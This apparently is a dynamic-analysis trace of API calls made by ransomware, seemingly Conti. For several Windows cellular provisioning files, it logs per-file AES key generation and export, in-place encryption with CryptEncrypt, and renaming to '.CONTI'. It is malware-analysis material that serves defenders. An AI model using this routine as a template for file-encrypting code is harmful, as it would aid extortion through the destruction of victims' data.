	[0112.336] ReadFile (in: hFile=0x3f4, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.336] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1e0, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1f0) returned 1
	[0112.336] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.336] WriteFile (in: hFile=0x3f4, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x1f0, lpOverlapped=0x0) returned 1
	[0112.336] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.336] WriteFile (in: hFile=0x3f4, lpBuffer=0x18139c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x18139c8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0112.336] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.336] CloseHandle (hObject=0x3f4) returned 1
	[0112.336] GetProcessHeap () returned 0x1720000
	[0112.336] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.336] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0112.336] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0112.336] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0112.337] GetProcessHeap () returned 0x1720000
	[0112.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.337] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0112.337] GetProcessHeap () returned 0x1720000
	[0112.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819480 | out: hHeap=0x1720000) returned 1
	[0112.337] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0112.337] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17c5a20 | out: phKey=0x17c5a20*=0x17c82b0) returned 1
	[0112.337] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5a24, pdwDataLen=0x45bfa3c | out: pbData=0x17c5a24*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0112.338] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4
	[0112.338] GetLastError () returned 0x0
	[0112.338] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=637) returned 1
	[0112.338] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27d
	[0112.338] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.338] SetEndOfFile (hFile=0x3f4) returned 1
	[0112.339] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.339] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.339] WriteFile (in: hFile=0x3f4, lpBuffer=0x17c5a24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17c5a24*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.345] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.345] ReadFile (in: hFile=0x3f4, lpBuffer=0xc100000, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x27d, lpOverlapped=0x0) returned 1
	[0112.345] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x27d, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x280) returned 1
	[0112.345] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.345] WriteFile (in: hFile=0x3f4, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x280, lpOverlapped=0x0) returned 1
	[0112.345] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.345] WriteFile (in: hFile=0x3f4, lpBuffer=0x17c5a18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17c5a18*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0112.345] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.345] CloseHandle (hObject=0x3f4) returned 1
	[0112.345] GetProcessHeap () returned 0x1720000
	[0112.345] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.345] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml"
	[0112.345] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.345] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\526__connections_cellular_mtnl (india)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.346] GetProcessHeap () returned 0x1720000
	[0112.346] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.346] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0112.346] GetProcessHeap () returned 0x1720000
	[0112.346] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18099e8 | out: hHeap=0x1720000) returned 1
	[0112.346] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0112.346] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17c4350 | out: phKey=0x17c4350*=0x17c7ef0) returned 1
	[0112.346] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4354, pdwDataLen=0x45bfa3c | out: pbData=0x17c4354*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0112.347] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.347] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4
	[0112.348] GetLastError () returned 0x0
	[0112.348] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=706) returned 1
	[0112.348] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2
	[0112.348] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.348] SetEndOfFile (hFile=0x3f4) returned 1
	[0112.348] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.348] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.348] WriteFile (in: hFile=0x3f4, lpBuffer=0x17c4354*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17c4354*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.354] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.354] ReadFile (in: hFile=0x3f4, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2c2, lpOverlapped=0x0) returned 1
	[0112.355] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2c2, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0112.355] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.355] WriteFile (in: hFile=0x3f4, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.355] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.355] WriteFile (in: hFile=0x3f4, lpBuffer=0x17c4348*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17c4348*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0112.355] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.355] CloseHandle (hObject=0x3f4) returned 1
	[0112.355] GetProcessHeap () returned 0x1720000
	[0112.355] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.355] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml"
	[0112.355] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.355] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\528__connections_cellular_vodafone in (india)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.356] GetProcessHeap () returned 0x1720000
	[0112.356] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.356] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0112.356] GetProcessHeap () returned 0x1720000
	[0112.356] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1809c78 | out: hHeap=0x1720000) returned 1
	[0112.356] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0112.356] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x17c7ef0) returned 1
	[0112.356] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x45bfa3c | out: pbData=0x17d2fb4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0112.357] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.357] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4
	[0112.358] GetLastError () returned 0x0
	[0112.358] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=657) returned 1
	[0112.358] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x291
	[0112.358] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.358] SetEndOfFile (hFile=0x3f4) returned 1
	[0112.358] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.358] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.358] WriteFile (in: hFile=0x3f4, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.814] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.815] ReadFile (in: hFile=0x3f4, lpBuffer=0xc100000, nNumberOfBytesToRead=0x291, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x291, lpOverlapped=0x0) returned 1
	[0112.815] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x291, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2a0) returned 1
	[0112.815] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.815] WriteFile (in: hFile=0x3f4, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2a0, lpOverlapped=0x0) returned 1
	[0112.815] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.815] WriteFile (in: hFile=0x3f4, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0112.815] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.815] CloseHandle (hObject=0x3f4) returned 1
	[0112.823] GetProcessHeap () returned 0x1720000
	[0112.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.614] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml"
	[0113.615] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.615] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\52__Connections_Cellular_Tele2 (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\52__connections_cellular_tele2 (bosnia and herzegovina)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.616] GetProcessHeap () returned 0x1720000
	[0113.616] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.616] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0113.616] GetProcessHeap () returned 0x1720000
	[0113.616] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18159b8 | out: hHeap=0x1720000) returned 1
	[0113.616] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
